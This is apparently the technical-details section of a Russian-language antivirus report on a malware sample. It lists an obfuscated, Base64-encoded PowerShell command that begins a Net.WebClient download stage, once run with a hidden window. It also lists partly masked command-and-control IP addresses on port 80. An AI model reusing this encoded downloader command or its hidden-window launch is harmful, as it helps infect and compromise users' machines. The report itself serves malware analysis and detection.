Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB1ADgAXwA3ADcAXwA3AF8APQAoACcAbgAzAF8AJwArACcAXwA3ADUAJwArACcAMQAnACkAOwAkAHAANgA1ADgAXwA0AF8ANgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABkADUAMAA4ADEAMQAyAD...
- '51.##.113.220':80
- '16#.#9.85.165':80
- '18.##5.117.241':80
- '23.#3.29.10':80
- '18.##3.62.169':80
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB1ADgAXwA3ADcAXwA3AF8APQAoACcAbgAzAF8AJwArACcAXwA3ADUAJwArACcAMQAnACkAOwAkAHAANgA1ADgAXwA0AF8ANgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABkADUAMAA4ADEAMQAyAD...' (со скрытым окном)